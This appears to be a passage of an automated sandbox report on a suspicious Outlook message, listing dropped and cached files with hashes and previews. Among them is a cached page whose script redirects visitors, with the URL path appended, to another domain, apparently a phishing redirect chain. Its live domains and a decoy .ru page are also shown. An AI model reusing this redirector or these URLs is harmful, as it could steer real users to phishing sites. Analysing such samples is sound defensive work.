SHA-512:	69847E9FB26C677D50956C3FE383EF41F389846328E1BC5B28C795CAF35E6DF6FA71F45C1AD1BFD58316C4451BD6C517C5C05C9A6B170C85E98A50A281D26ACF
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....7..R.$......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IUYy.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VUY......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VUY......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VUY.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VUY.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........?.pR.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 21 21:12:31 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.993352464106816
Encrypted:	false
SSDEEP:
MD5:	54A4EACAA5532B005E107C82291A4036
SHA1:	9DB8BBA69E32559B01DA2A304CFE9925FAF0FC98
SHA-256:	31C2967E3FD23C9DEF142EE55A0A800956274B7D3859EC8DB414834FF8E1078F
SHA-512:	674E534A7D30B7760481D7AE8B58EFBC2412F79B64135B118E49A7FFC95324206656CD4BDBD70FF0111282264A2E0A296608021E6B7F7E8AA5456B74B026E997
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....52.R.$......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IUYy.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VUY......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VUY......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VUY.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VUY.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........?.pR.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 21 21:12:31 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.0043343562545815
Encrypted:	false
SSDEEP:
MD5:	FCF257013A0C400AD2F64BC466F6847C
SHA1:	E7A5F56B29E9F8B5F88B1A012A51333745FE64BA
SHA-256:	1279893BCBA966E75F65500581A2F22684B1100E7DAAE5926A1E39713E5EC707
SHA-512:	3720E121A820C16848EA3A4A27660336955493C3991F403D24BF73CCC0EB9185807DC9EC25D5E6132C2631A875BCD135EFF346EE0E2DEB52EEA384223358EAA0
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....8..R.$......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IUYy.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VUY......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VUY......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VUY.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VUY.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........?.pR.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Microsoft Outlook email folder (>=2003)
Category:	dropped
Size (bytes):	271360
Entropy (8bit):	1.243975092622277
Encrypted:	false
SSDEEP:
MD5:	5B7CFC6DEE5717E3CB3DACAA00B45FEA
SHA1:	747FB673438177991EC9A3609B6FF10C78722E5C
SHA-256:	4831CB50D96F610AA3078184DA31A1F63830E47B0C9D852302920FD31B88BA4A
SHA-512:	EB9E25A3050101757D0C7C1C58725322CA3D68FB221D25D86A3540591FC30CF5AC41714903B1398B204D48BE1C315F69C373BF6ED6FB59C774D1E0F79D69DC22
Malicious:	true
Reputation:	unknown
Preview:	!BDNn...SM......\...............8.......T................@...........@...@...................................@...........................................................................$.......D.......R..............1...............7...........................................................................................................................................................................................................................................................................................h.............o.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	1.2112520935933873
Encrypted:	false
SSDEEP:
MD5:	A9B00647AC79AD6B8CF2BA94D07E6CD6
SHA1:	2506F07FB9F5BA491A80733C66D2798EB3EBAE03
SHA-256:	433F0184BB89183159C689015CF147EDFA9AC2C9DEE705682ED4612FC906149C
SHA-512:	D02E8EBEEC50F9D958E4D6EC95A61416A2B610CCCA7C03F06E4C1636CBE8E3C35AEE064FADE2D72C0F7604951A54068E54E0685F00FCF6A28CFA5F389606C4B5
Malicious:	true
Reputation:	unknown
Preview:	.d.0...d.......P......D.$.......D............#.............x.......................?............~.........~..........................................................................................................................................................................................................................................................................................................................................................................................................................................................W.D.......0..0...e.......P......D.$.......B............#.........................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	173568
Entropy (8bit):	5.555304583219312
Encrypted:	false
SSDEEP:
MD5:	7E92F8D0E36C5BBF6FD1136C27E81451
SHA1:	A7458B272EAAC5175131C82F2A25EEF465CA7B4E
SHA-256:	ACAD81DDF02811B37DF5745041B17C24533AA9F4647AFC8FCB8E8D3BC6675E6A
SHA-512:	5E78DEF6334E06C73A4BA2B1E650A000D17B3D30BC2F76C41528E1CAD3774B2514EB804779E960C99002774AEE2D49FC5CB9B63B6218BB6A07EEB181D4DCE4AC
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.K3aapsibxMI.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTtDjKIU2tfKp1ZjJdBFkkGhNc_-HQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.hj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var ij,jj,lj,oj,rj,qj,kj,pj;ij=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};jj=function(){_.Ka()};lj=function(){kj===void 0&&(kj=typeof WeakMap==="function"?ij(WeakMap):null);return kj};oj=function(a,b){(_.mj\|\|(_.mj=new kj)).set(a,b);(_.nj\|\|(_.nj=new kj)).set(b,a)};.rj=function(a){if(pj===void 0){const b=new qj([],{});pj=Array.prototype.concat.call([],b).length===1}pj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.sj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Nc};_.tj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.uj=function(a,b){a===0&&(a=_.tj(a,b));return a\|1};_.vj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.wj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Aj=function(a,b,c,d,e,f,g){const h=a.ha;var k=!!(2&b);e=k?

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
Reputation:	unknown
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	downloaded
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
Reputation:	unknown
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 73 x 20, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.9370115897867
Encrypted:	false
SSDEEP:
MD5:	3E53E61FE50779DACBD2EA96B2E32EF6
SHA1:	D55EA413A1740443F5578E216ACCCA30930A97A8
SHA-256:	87BCCEB284E9A892D960DB3C0697D8DD66EB0525E5D20DEBE2D1B903C5A5C502
SHA-512:	EE89E7B076D45A6EC5FAD37E93565CFF6DF5DAC92ED364F411ED05CDF803793B6A4838B88CF650596B282EB29D07C43F6267158775C1F148433F2D59D429391E
Malicious:	false
Reputation:	unknown
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8d64978bbb8343ab/1729548777816/2STyTaXBLCfgV_x
Preview:	.PNG........IHDR...I.........N.......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	19
Entropy (8bit):	3.6818808028034042
Encrypted:	false
SSDEEP:
MD5:	9FAE2B6737B98261777262B14B586F28
SHA1:	79C894898B2CED39335EB0003C18B27AA8C6DDCD
SHA-256:	F55F6B26E77DF6647E544AE5B45892DCEA380B7A6D2BFAA1E023EA112CE81E73
SHA-512:	29CB8E5462B15488B0C6D5FC1673E273FB47841E9C76A4AA5415CA93CEA31B87052BBA511680F2BC9E6543A29F1BBFBA9D06FCC08F5C65BEB115EE7A9E5EFF36
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/async/ddljson?async=ntp:2
Preview:	)]}'.{"ddljson":{}}

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	unknown
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (800)
Category:	downloaded
Size (bytes):	805
Entropy (8bit):	5.134793527225837
Encrypted:	false
SSDEEP:
MD5:	89D1EAACC98CA92989E1717D697B1915
SHA1:	BF88D1FEB2E02B0BE86E3F471AD9D1ECB55BCBA7
SHA-256:	97D54A301E4F6340AD8CC201452DF60A5131B231DEDB35E0BCB563957E40DCBC
SHA-512:	C75CA13523935A2D68DFC253656DDA4085D34C9B167375A2B283CF951D3939E54C19B914A8936EC0BB7ADF0DCCCF899CE0EAA38E32BAC9988DC32A0DE756BD4C
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["tompkins square halloween dog parade","nottingham forest crystal palace","goosebumps the vanishing trailer","frozen waffles recalled listeria","subnautica 2 game","world series yankees dodgers","orionids meteor showers","nyt strands october 21"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47459)
Category:	dropped
Size (bytes):	47460
Entropy (8bit):	5.397735966179774
Encrypted:	false
SSDEEP:
MD5:	5D332FD1AE9FEB79A10425DFC3F84FE4
SHA1:	C7D7F9D2BF5EE08E242765803CDD3A223FE1CBFC
SHA-256:	2EA786910282DF7AE154A0011375CD1254ADBD8EF0E75EB62177ADA67DAF9611
SHA-512:	01CDAC8103290B0FC1BF9BE8EE3923BFA6B8AD7778FF6B4716E421D6BBB3382240D9316B9994D6F4EA87E67DA9791EB8E3E2A1AAF81DBD749B3C8D7778E15F20
Malicious:	false
Reputation:	unknown
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,l,h){try{var f=e[l](h),p=f.value}catch(s){n(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);function h(p){Wt(l,o,c,h,f,"next",p)}function f(p){Wt(l,o,c,h,f,"throw",p)}h(void 0)})}}function V(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):V(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (544), with CRLF line terminators
Category:	dropped
Size (bytes):	7354
Entropy (8bit):	4.596867586643512
Encrypted:	false
SSDEEP:
MD5:	C5CB5CC4897DF1D12F92296930C8BD83
SHA1:	ABB619B36F5092FFF934F95FC8E62A2D5CED909F
SHA-256:	9468AD73440F46B8E299EB2EA4B5154787737EFADBF5AF751B8B93D7867BA8D8
SHA-512:	04D692B3625F8EF1554E4D46D5434270E200B58849D6E340A312F12B00DFFD8B9BDEA6ABF806178384AFD97DD511EB383EE7DEEEF80933B350A771A9EA394D62
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html lang="en">....<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <meta name="robots" content="noarchive, nosnippet, noindex, nofollow">.. <title>Futuristic Vehicle Innovators - techgroovelifeone.ru</title>.. <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">.. <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css" rel="stylesheet">..</head>....<body>.... <nav class="navbar navbar-expand-lg navbar-dark bg-dark">.. <div class="container">.. <a class="navbar-brand" href="https://techgroovelifeone.ru//#">.. <i class="fas fa-car"></i> Futuristic Vehicle Innovators </a>.. <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarResponsive".. aria-controls="navbarResponsive" aria-expanded="false" aria-label

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	234
Entropy (8bit):	4.896049872279285
Encrypted:	false
SSDEEP:
MD5:	06761C73A68C042C3CB3CF03D56BFFE5
SHA1:	303CBC6E2F8ECBE88B1AA6800F1000D3063B41C6
SHA-256:	0A555338C3EF2C08C47FCEA342CDD142BE9AB46225B73F8B43740709F411B213
SHA-512:	F6EA940A23323059935E8654534C0A5AEFB603CD8F749778279DA8AF9748834201548AE7432962E57C1B01936A943348EC9D98B41BFE74C5D58A60E57B4B76BC
Malicious:	false
Reputation:	unknown
URL:	https://www.sharkmaritimecompany.com/reost/
Preview:	<html>. <body></body>. <script>. var u = window.location.href.lastIndexOf("/") + 1;. var d = window.location.href.substring(u);. window.location.replace("https://charityshopacademymop.com.de/85cL/" + d);. </script>.</html>

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	1249
Entropy (8bit):	5.242453121762845
Encrypted:	false
SSDEEP:
MD5:	F58515DFE987F7E027C8A71BBC884621
SHA1:	BEC6AEBF5940EA88FBBFF5748D539453D49FA284
SHA-256:	679E7E62B81267C93D0778083AE0FD0EFE24172FF0AC581835B54165B3D9ED43
SHA-512:	F085346A38318F7935D76909DB0367862924CC9B0D96256F7FF4E8999C041E610BBCDE8CA56C92673BDE0991C85E9C9D9B6726ABD91D0C3177462C80D4A99140
Malicious:	false
Reputation:	unknown
URL:	https://charityshopacademymop.com.de/favicon.ico
Preview:	<!DOCTYPE html>.<html style="height:100%">.<head>.<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">.<title> 404 Not Found..</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head>.<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">.<div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">. <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1>.<h2 style="margin-top:20px;font-size: 30px;">Not Found..</h2>.<p>The resource requested could not be found on this server!</p>.</div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133818
Entropy (8bit):	5.43478779171895
Encrypted:	false
SSDEEP:
MD5:	52AE5C4925CAFF25491FA9E63CEAD053
SHA1:	700515696CCD3ABAE600B929045F7A19D047220A
SHA-256:	FD1A5408FF455E8CF3A27E3226A53350731E3F0D322B7BE02593BEA049505D2A
SHA-512:	FEA4E17512DF1ACB525F1F18FF1774ED2FEFA714AC58CFDC9BA5B561DCA8AA70F269FD581E63DA1D2E0AE9E446F0F2CDD5E059919166887087491D56A2A2AE9B
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Static File Info

General

File type:	CDFV2 Microsoft Outlook Message
Entropy (8bit):	4.730168408058896
TrID:	Outlook Message (71009/1) 58.92% Outlook Form Template (41509/1) 34.44% Generic OLE2 / Multistream Compound File (8008/1) 6.64%
File name:	c20346ef.msg
File size:	166'912 bytes
MD5:	d65c5a8b64ffe1740ef486c20a5d260c
